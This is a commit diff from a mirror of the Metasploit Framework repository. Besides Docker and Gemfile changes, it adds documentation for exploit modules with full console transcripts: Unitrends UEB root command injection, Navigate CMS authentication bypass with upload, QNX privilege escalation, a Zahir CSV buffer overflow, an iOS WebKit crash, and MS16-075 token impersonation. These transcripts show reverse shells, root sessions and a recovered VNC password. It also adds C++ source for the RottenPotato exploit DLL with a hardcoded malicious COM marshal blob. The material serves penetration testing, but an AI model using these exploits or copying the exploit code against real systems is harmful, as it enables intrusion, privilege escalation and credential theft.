1
mirror of https://github.com/rapid7/metasploit-framework synced 2024-07-11 21:38:02 +02:00

Sync up with master

This commit is contained in:
Wei Chen 2018-10-06 08:27:01 -05:00
commit c7efd57144
No known key found for this signature in database
GPG Key ID: 6E162ED2C01D9AAC
120 changed files with 35238 additions and 580 deletions

View File

@ -1,9 +1,8 @@
FROM ruby:2.5.1-alpine3.7
FROM ruby:2.5.1-alpine3.7 AS builder
LABEL maintainer="Rapid7"
ARG BUNDLER_ARGS="--jobs=8 --without development test coverage"
ENV APP_HOME /usr/src/metasploit-framework/
ENV NMAP_PRIVILEGED=""
ENV BUNDLE_IGNORE_MESSAGES="true"
WORKDIR $APP_HOME
@ -12,20 +11,7 @@ COPY lib/metasploit/framework/version.rb $APP_HOME/lib/metasploit/framework/vers
COPY lib/metasploit/framework/rails_version_constraint.rb $APP_HOME/lib/metasploit/framework/rails_version_constraint.rb
COPY lib/msf/util/helper.rb $APP_HOME/lib/msf/util/helper.rb
RUN apk update && \
apk add \
bash \
sqlite-libs \
nmap \
nmap-scripts \
nmap-nselibs \
postgresql-libs \
python \
python3 \
ncurses \
libcap \
su-exec \
&& apk add --virtual .ruby-builddeps \
RUN apk add --no-cache \
autoconf \
bison \
build-base \
@ -44,15 +30,28 @@ RUN apk update && \
&& echo "gem: --no-ri --no-rdoc" > /etc/gemrc \
&& gem update --system \
&& gem install bundler \
&& bundle install --system $BUNDLER_ARGS \
&& apk del .ruby-builddeps \
&& rm -rf /var/cache/apk/*
&& bundle install --clean --no-cache --system $BUNDLER_ARGS \
# temp fix for https://github.com/bundler/bundler/issues/6680
&& rm -rf /usr/local/bundle/cache \
# needed so non root users can read content of the bundle
&& chmod -R a+r /usr/local/bundle
FROM ruby:2.5.1-alpine3.7
LABEL maintainer="Rapid7"
ENV APP_HOME /usr/src/metasploit-framework/
ENV NMAP_PRIVILEGED=""
COPY --from=builder /usr/local/bundle /usr/local/bundle
COPY . $APP_HOME
RUN apk add --no-cache bash sqlite-libs nmap nmap-scripts nmap-nselibs postgresql-libs python python3 ncurses libcap su-exec
RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which ruby)
RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which nmap)
ADD ./ $APP_HOME
WORKDIR $APP_HOME
# we need this entrypoint to dynamically create a user
# matching the hosts UID and GID so we can mount something
# from the users home directory. If the IDs don't match

View File

@ -10,6 +10,7 @@ PATH
bcrypt_pbkdf
bit-struct
dnsruby
ed25519
faker
filesize
jsobfu
@ -18,7 +19,7 @@ PATH
metasploit-concern
metasploit-credential
metasploit-model
metasploit-payloads (= 1.3.47)
metasploit-payloads (= 1.3.52)
metasploit_data_models
metasploit_payloads-mettle (= 0.4.2)
mqtt
@ -112,7 +113,7 @@ GEM
backports (3.11.4)
bcrypt (3.1.12)
bcrypt_pbkdf (1.0.0)
bindata (2.4.3)
bindata (2.4.4)
bit-struct (0.16)
builder (3.2.3)
coderay (1.1.2)
@ -123,6 +124,7 @@ GEM
dnsruby (1.61.2)
addressable (~> 2.5)
docile (1.3.1)
ed25519 (1.2.4)
erubis (2.7.0)
eventmachine (1.2.7)
factory_bot (4.11.1)
@ -164,7 +166,7 @@ GEM
activemodel (~> 4.2.6)
activesupport (~> 4.2.6)
railties (~> 4.2.6)
metasploit-payloads (1.3.47)
metasploit-payloads (1.3.52)
metasploit_data_models (3.0.0)
activerecord (~> 4.2.6)
activesupport (~> 4.2.6)
@ -232,7 +234,7 @@ GEM
thor (>= 0.18.1, < 2.0)
rake (12.3.1)
rb-readline (0.5.5)
recog (2.1.22)
recog (2.1.24)
nokogiri
redcarpet (3.4.0)
rex-arch (0.1.13)
@ -305,7 +307,7 @@ GEM
rspec-rerun (1.1.0)
rspec (~> 3.0)
rspec-support (3.8.0)
ruby-macho (2.0.0)
ruby-macho (2.1.0)
ruby-rc4 (0.1.5)
ruby_smb (1.0.4)
bindata

Binary file not shown.

Binary file not shown.

View File

@ -14,10 +14,22 @@
<%= normalize_platforms(items[:mod_platforms]) %>
<% end %>
## Reliability
## Module Ranking
<%= normalize_rank(items[:mod_rank]) %>
## Side Effects
<%= normalize_side_effects(items[:mod_side_effects]) %>
## Reliability
<%= normalize_reliability(items[:mod_reliability]) %>
## Stability
<%= normalize_stability(items[:mod_stability]) %>
## Related Pull Requests
<%= normalize_pull_requests(items[:mod_pull_requests]) %>

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,31 @@
## Vulnerable Application
This module exploits a vulnerability in Safari WebKit to crash the device.
The bug affects all iOS devices running iOS 9 up to iOS 12 and Safari on OSX 10.13.6
The device will "re-spring" the operating system, but not actually restart the device.
## Verification Steps
1. Start msfconsole
1. Do: `use auxiliary/dos/apple_ios/webkit_backdrop_filter_blur`
1. Do: `set URIPATH /` (Optional)
1. Do: `run`
1. When you visit the page on a vulnerable device, it should crash the operating system
## Scenarios
### Safari 602.1 on iOS 10.1.1
```
msf5 > use auxiliary/dos/apple_ios/webkit_backdrop_filter_blur
msf5 auxiliary(dos/apple_ios/webkit_backdrop_filter_blur) > set URIPATH /
URIPATH => /
msf5 auxiliary(dos/apple_ios/webkit_backdrop_filter_blur) > run
[*] Using URL: http://0.0.0.0:8080/
[*] Local IP: http://192.168.0.1:8080/
[*] Server started.
[*] 192.168.0.2: Sending response to User-Agent: Mozilla/5.0 (iPod touch; CPU iPhone OS 10_1_1 like Mac OS X) AppleWebKit/602.2.14 (KHTML, like Gecko) Version/10.0 Mobile/14B150 Safari/602.1
```

View File

@ -1,42 +0,0 @@
## Vulnerable Application
Unitrends UEB 9 http api/storage remote root
This exploit leverages a sqli vulnerability for authentication bypass,
together with command injection for subsequent root RCE.
## Verification Steps
1. ```use exploit/linux/http/ueb9_api_storage ```
2. ```set lhost [IP]```
3. ```set rhost [IP]```
4. ```exploit```
5. A meterpreter session should have been opened successfully
## Scenarios
### UEB 9.1 on CentOS 6.5
```
msf > use exploit/linux/http/ueb9_api_storage
msf exploit(ueb9_api_storage) > set rhost 10.0.0.230
rhost => 10.0.0.230
msf exploit(ueb9_api_storage) > set lhost 10.0.0.141
lhost => 10.0.0.141
msf exploit(ueb9_api_storage) > exploit
[*] Started reverse TCP handler on 10.0.0.141:4444
[*] 10.0.0.230:443 - pwn'ng ueb 9....
[*] Command Stager progress - 19.83% done (164/827 bytes)
[*] Command Stager progress - 39.30% done (325/827 bytes)
[*] Command Stager progress - 57.44% done (475/827 bytes)
[*] Command Stager progress - 75.45% done (624/827 bytes)
[*] Command Stager progress - 93.35% done (772/827 bytes)
[*] Command Stager progress - 110.88% done (917/827 bytes)
[*] Sending stage (826872 bytes) to 10.0.0.230
[*] Command Stager progress - 126.72% done (1048/827 bytes)
[*] Meterpreter session 1 opened (10.0.0.141:4444 -> 10.0.0.230:33674) at 2017-10-06 11:07:47 -0400
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
```

View File

@ -0,0 +1,93 @@
## Vulnerable Application
This exploit leverages a sqli vulnerability for authentication bypass,
together with command injection for subsequent RCE.
This exploit has two targets:
1. Unitrends UEB 9 http api/storage RCE for root privileges
2. Unitrends UEB < 10.1.0 api/hosts RCE for user (apache) privileges
## Verification Steps
1. ```use exploit/linux/http/ueb_api_rce```
2. ```set lhost [IP]```
3. ```set rhost [IP]```
4. ```set target [#]```
5. ```exploit```
6. A meterpreter session should have been opened successfully
## Scenarios
### UEB 9.2 on CentOS 6.5 Using api/storage (target 0) root exploit
```
msf5 > use exploit/linux/http/ueb_api_rce
msf5 exploit(linux/http/ueb_api_rce) > set target 0
target => 0
msf5 exploit(linux/http/ueb_api_rce) > set rhost 1.1.1.1
rhost => 1.1.1.1
msf5 exploit(linux/http/ueb_api_rce) > set lhost 2.2.2.2
lhost => 2.2.2.2
msf5 exploit(linux/http/ueb_api_rce) > exploit
[*] Started reverse TCP handler on 2.2.2.2:4444
[*] 1.1.1.1:443 - Sending requests to UEB...
[*] Command Stager progress - 19.76% done (164/830 bytes)
[*] Command Stager progress - 39.16% done (325/830 bytes)
[*] Command Stager progress - 56.87% done (472/830 bytes)
[*] Command Stager progress - 74.82% done (621/830 bytes)
[*] Command Stager progress - 92.77% done (770/830 bytes)
[*] Command Stager progress - 110.48% done (917/830 bytes)
[*] Sending stage (861480 bytes) to 1.1.1.1
[*] Command Stager progress - 126.63% done (1051/830 bytes)
[*] Meterpreter session 1 opened (2.2.2.2:4444 -> 1.1.1.1:43600) at 2018-09-10 20:51:16 -0400
meterpreter > sysinfo
Computer : 1.1.1.1
OS : Red Hat 6.5 (Linux 2.6.32-573.26.1.el6.x86_64)
Architecture : x64
BuildTuple : i486-linux-musl
Meterpreter : x86/linux
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
```
### UEB 9.2 on CentOS 6.5 Using api/hosts (target 1) exploit
```
msf5 > use exploit/linux/http/ueb_api_rce
msf5 exploit(linux/http/ueb_api_rce) > set target 1
target => 1
msf5 exploit(linux/http/ueb_api_rce) > set rhost 1.1.1.1
rhost => 1.1.1.1
msf5 exploit(linux/http/ueb_api_rce) > set lhost 2.2.2.2
lhost => 2.2.2.2
msf5 exploit(linux/http/ueb_api_rce) > exploit
[*] Started reverse TCP handler on 2.2.2.2:4444
[*] 1.1.1.1:443 - Sending requests to UEB...
[*] Command Stager progress - 19.76% done (164/830 bytes)
[*] Command Stager progress - 39.16% done (325/830 bytes)
[*] Command Stager progress - 56.87% done (472/830 bytes)
[*] Command Stager progress - 74.82% done (621/830 bytes)
[*] Command Stager progress - 92.77% done (770/830 bytes)
[*] Command Stager progress - 110.48% done (917/830 bytes)
[*] Sending stage (861480 bytes) to 1.1.1.1
[*] Meterpreter session 1 opened (2.2.2.2:4444 -> 1.1.1.1:43515) at 2018-09-10 20:46:24 -0400
[*] Command Stager progress - 126.63% done (1051/830 bytes)
meterpreter > sysinfo
Computer : 1.1.1.1
OS : Red Hat 6.5 (Linux 2.6.32-573.26.1.el6.x86_64)
Architecture : x64
BuildTuple : i486-linux-musl
Meterpreter : x86/linux
meterpreter > getuid
Server username: uid=48, gid=48, euid=48, egid=48
meterpreter > shell
Process 25534 created.
Channel 1 created.
whoami
apache
```

View File

@ -7,7 +7,7 @@
## Vulnerable Application
The `lastore-daemon` D-Bus configuration on Deepin Linux 15.5 permits any
The `lastore-daemon` D-Bus configuration on Deepin Linux permits any
user in the `sudo` group to install arbitrary system packages without
providing a password, resulting in code execution as root. By default,
the first user created on the system is a member of the `sudo` group.
@ -30,8 +30,10 @@
</policy>
```
This module has been tested successfully with lastore-daemon version
0.9.53-1 on Deepin Linux 15.5 (x64).
This module has been tested successfully with lastore-daemon versions:
* 0.9.53-1 on Deepin Linux 15.5 (x64)
* 0.9.66-1 on Deepin Linux 15.7 (x64)
Deepin Linux is available here:

View File

@ -0,0 +1,44 @@
## Description
This module exploits insufficient sanitization in the database::protect method, of Navigate CMS versions 2.8 and prior, to bypass authentication.
It then uses a path traversal vulnerability in navigate_upload.php that allows authenticated users to upload PHP files to arbitrary locations.
Together these vulnerabilities allow an unauthenticated attacker to execute arbitrary PHP code remotely.
This module was tested against Navigate CMS 2.8.
## Vulnerable Application
[Navigate CMS 2.8](https://master.dl.sourceforge.net/project/navigatecms/releases/navigate-2.8r1302.zip)
## Verification Steps
1. Install Navigate CMS
2. Start `msfconsole`
3. `use exploit/multi/http/navigate_cms_rce`
4. `set RHOST <rhost>`
5. `check`
6. You should see `The target appears to be vulnerable.`
7. `exploit`
8. You should get a meterpreter session
## Scenarios
### Navigate CMS on Ubuntu 18.04
```
msf5 > use exploit/multi/http/navigate_cms_rce
msf5 exploit(multi/http/navigate_cms_rce) > set RHOST 192.168.178.45
RHOST => 192.168.178.45
msf5 exploit(multi/http/navigate_cms_rce) > check
[*] 192.168.178.45:80 The target appears to be vulnerable.
msf5 exploit(multi/http/navigate_cms_rce) > exploit
[*] Started reverse TCP handler on 192.168.178.35:4444
[+] Login bypass successful
[+] Upload successful
[*] Triggering payload...
[*] Sending stage (37775 bytes) to 192.168.178.45
[*] Meterpreter session 1 opened (192.168.178.35:4444 -> 192.168.178.45:52720) at 2018-09-26 22:24:59 +0200
meterpreter >
```

View File

@ -1,6 +1,10 @@
## Vulnerable Application
This vulnerability expoits mysql by adding a .so or .dll file which has a system call in it to the plugins folder.
The Windows dll files are provided by [@stamparm](https://github.com/stamparm) of the sqlmap project and are
located [here](https://github.com/rapid7/metasploit-framework/files/1879611/mysql_udf_libs.zip). As noted
in [#9677](https://github.com/rapid7/metasploit-framework/issues/9677#issuecomment-378893925) these are 'de-cloaked' versions,
which may attract AV attention.
The file is then loaded by mysql, and arbitrary commands can be run. There are several caveats for this to
function however, including:
1. `secure_file_priv`, a mysql setting, must be changed from the default to allow writing

View File

@ -0,0 +1,64 @@
## Description
This module attempts to gain root privileges on QNX 6.4.x and 6.5.x
systems by exploiting the `ifwatchd` suid executable.
## Vulnerable Application
`ifwatchd` allows users to specify scripts to execute using the `-A`
command line argument; however, it does not drop privileges when
executing user-supplied scripts, resulting in execution of arbitrary
commands as root.
This module has been tested successfully on:
* QNX Neutrino 6.5.0 (x86)
* QNX Neutrino 6.5.0 SP1 (x86)
QNX Neutrino 6.5.0 Service Pack 1 is available here:
* http://www.qnx.com/download/feature.html?programid=23665
## Verification Steps
1. Start `msfconsole`
2. `use exploit/qnx/local/ifwatchd_priv_esc`
3. `set session <ID>`
4. `run`
5. You should get a *root* session
## Options
**SESSION**
Which session to use, which can be viewed with `sessions`
**WritableDir**
A writable directory file system path. (default: `/tmp`)
## Scenarios
```
msf5 > use exploit/qnx/local/ifwatchd_priv_esc
msf5 exploit(qnx/local/ifwatchd_priv_esc) > set session 1
session => 1
msf5 exploit(qnx/local/ifwatchd_priv_esc) > set lhost 172.16.191.188
lhost => 172.16.191.188
msf5 exploit(qnx/local/ifwatchd_priv_esc) > run
[*] Started reverse TCP handler on 172.16.191.188:4444
[*] Writing interface arrival event script...
[*] Executing /sbin/ifwatchd...
[*] Command shell session 2 opened (172.16.191.188:4444 -> 172.16.191.215:65500) at 2018-03-22 15:18:48 -0400
id
uid=100(test) gid=100 euid=0(root)
uname -a
QNX localhost 6.5.0 2012/06/20-13:50:50EDT x86pc x86
```

View File

@ -0,0 +1,41 @@
## Description
Zahir Accounting Enterprise 6 through build 10.b contains a buffer overflow vulnerability in its Import file functionality, which can be triggered with a crafted CSV file.
## Vulnerable Application
[Zahir Enterprise 6](http://zahiraccounting.com/files/zahir-accounting-6-free-trial.zip) through build 10.b
[Update to build 10b](http://zahirsoftware.com/zahirupdate/Zahir_SMB_6_Build10b%20-%20MultiUser.zip)
## Verification Steps
1. `./msfconsole -q`
2. `use exploit/windows/fileformat/zahir_enterprise_plus_csv`
3. `run`
4. `handler -p <payload> -H <lhost> -P <lport>`
5. From Zahir Application. File -> Import -> Import from File -> Select option -> Specify msf generated file -> Click through to Process
6. Get a session
## Scenarios
### Zahir Enterprise 6 build 10b on Windows 10 x64
```
msf5 exploit(windows/fileformat/zahir_enterprise_plus_csv) >
[*] Started reverse TCP handler on 172.22.222.130:4444
[*] Sending stage (179779 bytes) to 172.22.222.200
[*] Meterpreter session 4 opened (172.22.222.130:4444 -> 172.22.222.200:49934) at 2018-10-04 10:09:01 -0500
sessions -i 4
[*] Starting interaction with 4...
meterpreter > sysinfo
Computer : DESKTOP-IPOGIJR
OS : Windows 10 (Build 17134).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
meterpreter >
```

View File

@ -0,0 +1,65 @@
## Intro
This module will abuse the SeImperonsate privilege commonly found in
services due to the requirement to impersonate a client upon
authentication. As such it is possible to impersonate the SYSTEM account
and relay its NTLM hash to RPC via DCOM. The DLL will perform a MiTM
attack at which intercepts the hash and relay responses from RPC to be
able to establish a handle to a new SYSTEM token. Some caveats : Set
your target option to match the architecture of your Meterpreter
session, else it will inject the wrong architecture DLL into the process
of a seperate architecture. Additionally, after you have established a
session, you must use incognito to imperonsate the SYSTEM Token.
## Build Instructions
This builds using visual studio 2017 and tools v141. Attempts
to compile with previous verstions of build tools will succeed but
the resulting binary fails to exploit the vulnerability.
## Usage
You'll first need to obtain a session on the target system.
Next, once the module is loaded, one simply needs to set the
```payload``` and ```session``` options, in addition to architecture.
Your user at which you are trying to exploit must have `SeImpersonate`
privileges.
The module has a hardcoded timeout of 20 seconds, as the attack may
not work immediately and take a few seconds to start. Also, check to
make sure port 6666 is inherently not in use else the exploit will not
run properly
## Scenario
```
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION 48 yes The session to run this module on. Payload options
(windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread,
process, none)
LHOST ens3 yes The listen address (an interface may be specified)
LPORT 3312 yes The listen port Exploit target:
Id Name
-- ----
1 Windows x64 msf exploit(windows/local/ms16_075_reflection) > run
[*] Started reverse TCP handler on -snip-:3312
[*] Launching notepad to host the exploit... [+] Process 3564 launched.
[*] Reflectively injecting the exploit DLL into 3564...
[*] Injecting exploit into 3564...
[*] Exploit injected. Injecting payload into 3564...
[*] Payload injected. Executing exploit..
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Sending stage (206403 bytes) to -snip-
[*] Meterpreter session 49 opened (-snip-:3312 -> -snip-:55306) at 2018-08-03 01:54:18 -0400
meterpreter > load incognito
Loading extension incognito...Success.
meterpreter > impersonate_token
'NT AUTHORITY\SYSTEM'
[-] Warning: Not currently running as SYSTEM, not all tokens will be available
Call rev2self if primary process token is SYSTEM
[-] No delegation token available
[+] Successfully impersonated user NT AUTHORITY\SYSTEM
meterpreter > getsystem -t 1 ...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter >
```

View File

@ -0,0 +1,55 @@
## Intro
This module will abuse the SeImperonsate privilege commonly found in
services due to the requirement to impersonate a client upon
authentication. As such it is possible to impersonate the SYSTEM account
and relay its NTLM hash to RPC via DCOM. The DLL will perform a MiTM
attack at which intercepts the hash and relay responses from RPC to be
able to establish a handle to a new SYSTEM token. Some caveats : Set
your target option to match the architecture of your Meterpreter
session, else it will inject the wrong architecture DLL into the process
of a seperate architecture. Additionally, after you have established a
session, you must use incognito to imperonsate the SYSTEM Token.
## Usage
You'll first need to obtain a session on the target system.
Next, once the module is loaded, one simply needs to set the
```payload``` and ```session``` options, in addition to architecture.
Your user at which you are trying to exploit must have `SeImpersonate`
privileges.
The module has a hardcoded timeout of 20 seconds, as the attack may
not work immediately and take a few seconds to start. Also, check to
make sure port 6666 is inherently not in use else the exploit will not
run properly
## Scenario
```
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION 48 yes The session to run this module on. Payload options
(windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread,
process, none)
LHOST ens3 yes The listen address (an interface may be specified)
LPORT 3312 yes The listen port Exploit target:
Id Name
-- ----
1 Windows x64 msf exploit(windows/local/ms16_075_reflection) > run
[*] Started reverse TCP handler on -snip-:3312 [*] Launching notepad to
host the exploit... [+] Process 3564 launched. [*] Reflectively
injecting the exploit DLL into 3564... [*] Injecting exploit into
3564... [*] Exploit injected. Injecting payload into 3564... [*] Payload
injected. Executing exploit... [+] Exploit finished, wait for (hopefully
privileged) payload execution to complete. [*] Sending stage (206403
bytes) to -snip- [*] Meterpreter session 49 opened (-snip-:3312 ->
-snip-:55306) at 2018-08-03 01:54:18 -0400 meterpreter > load incognito
Loading extension incognito...Success. meterpreter > impersonate_token
'NT AUTHORITY\SYSTEM' [-] Warning: Not currently running as SYSTEM, not
all tokens will be available
Call rev2self if primary process token is SYSTEM [-] No
delegation token available [+] Successfully impersonated user NT
AUTHORITY\SYSTEM meterpreter > getsystem -t 1 ...got system via
technique 1 (Named Pipe Impersonation (In Memory/Admin)). meterpreter >
```

View File

@ -30,7 +30,7 @@ Another way to use windows/meterpreter/reverse_tcp is to generate it as an execu
you would want to do it with msfvenom. If you are old school, you have probably also heard of
msfpayload and msfencode. msfvenom is a replacement of those.
The following is a basic example of using msfvenom to to generate windows/meterpreter/reverse_tcp
The following is a basic example of using msfvenom to generate windows/meterpreter/reverse_tcp
as an executable:
```
@ -261,7 +261,7 @@ meterpreter > getsystem
**hashdump**
The ```hashdump``` commands allows you to dump the Windows hashes if there are the right privileges.
For sxample:
For example:
```
meterpreter > hashdump

View File

@ -8,6 +8,7 @@
- Linux: `iwlist scanning`
- Solaris: `dladm scan-wifi`
- BSD: `dmesg | grep -i wlan | cut -d ':' -f1 | uniq"`
- Android: [WifiManager](https://developer.android.com/reference/android/net/wifi/WifiManager)
If `GEOLOCATE` is set to true, Google's [GeoLocation APIs](https://developers.google.com/maps/documentation/geolocation/intro) are utilized.
These APIs require a Google [API key](https://developers.google.com/maps/documentation/geolocation/get-api-key) to use them. The original

View File

@ -0,0 +1,38 @@
This module shows Apple VNC Password from Mac OS X High Sierra.
The password can be set by visiting:
System Preferences > Sharing > Screen Sharing > Computer Settings
## Vulnerable Application
* macOS 10.13.6
## Verification Steps
Example steps in this format (is also in the PR):
1. Start `msfconsole`
2. Get an OSX meterpreter session running as root
3. Do: `use post/osx/gather/vnc_password_osx`
4. Do: `set SESSION [ID]`
5. Do: `run`
6. You should see the password
## Scenarios
Typical run against an OSX session, with the vnc service activated:
```
msf5 exploit(multi/handler) > use post/osx/gather/vnc_password_osx
msf5 post(osx/gather/vnc_password_osx) > set SESSION 1
SESSION => 1
msf5 post(osx/gather/vnc_password_osx) > exploit
[*] Checking VNC Password...
[+] Password Found: PoCpassw
[+] Password data stored as loot in: .msf4/loot/20181002142527_default_10.0.2.15_osx.vnc.password_371610.txt
[*] Post module execution completed
msf5 post(osx/gather/vnc_password_osx) >
```

View File

@ -0,0 +1,32 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio 15
VisualStudioVersion = 15.0.26403.7
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "MSFRottenPotato", "MSFRottenPotato\MSFRottenPotato.vcxproj", "{4164003E-BA47-4A95-8586-D5AAC399C050}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|x64 = Debug|x64
Debug|x86 = Debug|x86
Release|x64 = Release|x64
Release|x86 = Release|x86
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{4164003E-BA47-4A95-8586-D5AAC399C050}.Debug|x64.ActiveCfg = Debug|x64
{4164003E-BA47-4A95-8586-D5AAC399C050}.Debug|x64.Build.0 = Debug|x64
{4164003E-BA47-4A95-8586-D5AAC399C050}.Debug|x86.ActiveCfg = Debug|Win32
{4164003E-BA47-4A95-8586-D5AAC399C050}.Debug|x86.Build.0 = Debug|Win32
{4164003E-BA47-4A95-8586-D5AAC399C050}.Release|x64.ActiveCfg = Release|x64
{4164003E-BA47-4A95-8586-D5AAC399C050}.Release|x64.Build.0 = Release|x64
{4164003E-BA47-4A95-8586-D5AAC399C050}.Release|x64.Deploy.0 = Release|x64
{4164003E-BA47-4A95-8586-D5AAC399C050}.Release|x86.ActiveCfg = Release|Win32
{4164003E-BA47-4A95-8586-D5AAC399C050}.Release|x86.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {F17C3DED-70DC-4318-B6D7-1477B2D4D79D}
EndGlobalSection
EndGlobal

View File

@ -0,0 +1,42 @@
#pragma once
#include <condition_variable>
#include <mutex>
#include <queue>
#include "stdafx.h"
typedef std::mutex Mutex;
template<typename ITEM> class BlockingQueue{
public:
void push(const ITEM& value) { // push
std::lock_guard<Mutex> lock(mutex);
queue.push(std::move(value));
condition.notify_one();
}
bool try_pop(ITEM& value) { // non-blocking pop
std::lock_guard<Mutex> lock(mutex);
if (queue.empty()) return false;
value = std::move(queue.front());
queue.pop();
return true;
}
ITEM wait_pop() { // blocking pop
std::unique_lock<Mutex> lock(mutex);
condition.wait(lock, [this] {return !queue.empty(); });
ITEM const value = std::move(queue.front());
queue.pop();
return value;
}
bool empty() const { // queue is empty?
std::lock_guard<Mutex> lock(mutex);
return queue.empty();
}
void clear() { // remove all items
ITEM item;
while (try_pop(item));
}
private:
Mutex mutex;
std::queue<ITEM> queue;
std::condition_variable condition;
};

View File

@ -0,0 +1,143 @@
#include "stdafx.h"
#include "IStorageTrigger.h"
#include <string>
#include <wchar.h>
IStorageTrigger::IStorageTrigger(IStorage *istg) {
_stg = istg;
m_cRef = 1;
return;
}
HRESULT IStorageTrigger::DisconnectObject(DWORD dwReserved) {
return 0;
}
HRESULT IStorageTrigger::GetMarshalSizeMax(const IID &riid, void *pv, DWORD dwDestContext, void *pvDestContext, DWORD mshlflags, DWORD *pSize) {
*pSize = 1024;
return 0;
}
HRESULT IStorageTrigger::GetUnmarshalClass(const IID &riid, void *pv, DWORD dwDestContext, void *pvDestContext, DWORD mshlflags, CLSID *pCid) {
CLSIDFromString(OLESTR("{00000306-0000-0000-c000-000000000046}"), pCid);
return 0;
}
HRESULT IStorageTrigger::MarshalInterface(IStream *pStm, const IID &riid, void *pv, DWORD dwDestContext, void *pvDestContext, DWORD mshlflags) {
byte data[] = { 0x4D, 0x45, 0x4F, 0x57, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x94, 0x09, 0x34, 0x76,
0xC0, 0xF0, 0x15, 0xD8, 0x19, 0x8F, 0x4A, 0xA2, 0xCE, 0x05, 0x60, 0x86, 0xA3, 0x2A, 0x0F, 0x09, 0x24, 0xE8, 0x70,
0x2A, 0x85, 0x65, 0x3B, 0x33, 0x97, 0xAA, 0x9C, 0xEC, 0x16, 0x00, 0x12, 0x00, 0x07, 0x00, 0x31, 0x00, 0x32, 0x00,
0x37, 0x00, 0x2E, 0x00, 0x30, 0x00, 0x2E, 0x00, 0x30, 0x00, 0x2E, 0x00, 0x31, 0x00, 0x5B, 0x00, 0x36, 0x00, 0x36,
0x00, 0x36, 0x00, 0x36, 0x00, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0A, 0x00, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00 };
ULONG written = 0;
int szData = sizeof(data);
pStm->Write(&data, sizeof(data), &written);
return 0;
}
HRESULT IStorageTrigger::ReleaseMarshalData(IStream *pStm) {
return 0;
}
HRESULT IStorageTrigger::UnmarshalInterface(IStream *pStm, const IID &riid, void **ppv) {
*ppv = 0;
return 0;
}
HRESULT IStorageTrigger::Commit(DWORD grfCommitFlags) {
_stg->Commit(grfCommitFlags);
return 0;
}
HRESULT IStorageTrigger::CopyTo(DWORD ciidExclude, const IID *rgiidExclude, SNB snbExclude, IStorage *pstgDest) {
_stg->CopyTo(ciidExclude, rgiidExclude, snbExclude, pstgDest);
return 0;
}
HRESULT IStorageTrigger::CreateStorage(const OLECHAR *pwcsName, DWORD grfMode, DWORD reserved1, DWORD reserved2, IStorage **ppstg) {
_stg->CreateStorage(pwcsName, grfMode, reserved1, reserved2, ppstg);
return 0;
}
HRESULT IStorageTrigger::CreateStream(const OLECHAR *pwcsName, DWORD grfMode, DWORD reserved1, DWORD reserved2, IStream **ppstm) {
_stg->CreateStream(pwcsName, grfMode, reserved1, reserved2, ppstm);
return 0;
}
HRESULT IStorageTrigger::DestroyElement(const OLECHAR *pwcsName) {
_stg->DestroyElement(pwcsName);
return 0;
}
HRESULT IStorageTrigger::EnumElements(DWORD reserved1, void *reserved2, DWORD reserved3, IEnumSTATSTG **ppenum) {
_stg->EnumElements(reserved1, reserved2, reserved3, ppenum);
return 0;
}
HRESULT IStorageTrigger::MoveElementTo(const OLECHAR *pwcsName, IStorage *pstgDest, const OLECHAR *pwcsNewName, DWORD grfFlags) {
_stg->MoveElementTo(pwcsName, pstgDest, pwcsNewName, grfFlags);
return 0;
}
HRESULT IStorageTrigger::OpenStorage(const OLECHAR *pwcsName, IStorage *pstgPriority, DWORD grfMode, SNB snbExclude, DWORD reserved, IStorage **ppstg) {
_stg->OpenStorage(pwcsName, pstgPriority, grfMode, snbExclude, reserved, ppstg);
return 0;
}
HRESULT IStorageTrigger::OpenStream(const OLECHAR *pwcsName, void *reserved1, DWORD grfMode, DWORD reserved2, IStream **ppstm) {
_stg->OpenStream(pwcsName, reserved1, grfMode, reserved2, ppstm);
return 0;
}
HRESULT IStorageTrigger::RenameElement(const OLECHAR *pwcsOldName, const OLECHAR *pwcsNewName) {
return 0;
}
HRESULT IStorageTrigger::Revert() {
return 0;
}
HRESULT IStorageTrigger::SetClass(const IID &clsid) {
return 0;
}
HRESULT IStorageTrigger::SetElementTimes(const OLECHAR *pwcsName, const FILETIME *pctime, const FILETIME *patime, const FILETIME *pmtime) {
return 0;
}
HRESULT IStorageTrigger::SetStateBits(DWORD grfStateBits, DWORD grfMask) {
return 0;
}
HRESULT IStorageTrigger::Stat(STATSTG *pstatstg, DWORD grfStatFlag) {
_stg->Stat(pstatstg, grfStatFlag);
//Allocate from heap because apparently this will get freed in OLE32
const wchar_t c_s[] = L"hello.stg";
wchar_t *s = (wchar_t*)CoTaskMemAlloc(sizeof(c_s));
wcscpy(s, c_s);
pstatstg[0].pwcsName = s;
return 0;
}
///////////////////////IUknown Interface
HRESULT IStorageTrigger::QueryInterface(const IID &riid, void **ppvObj) {
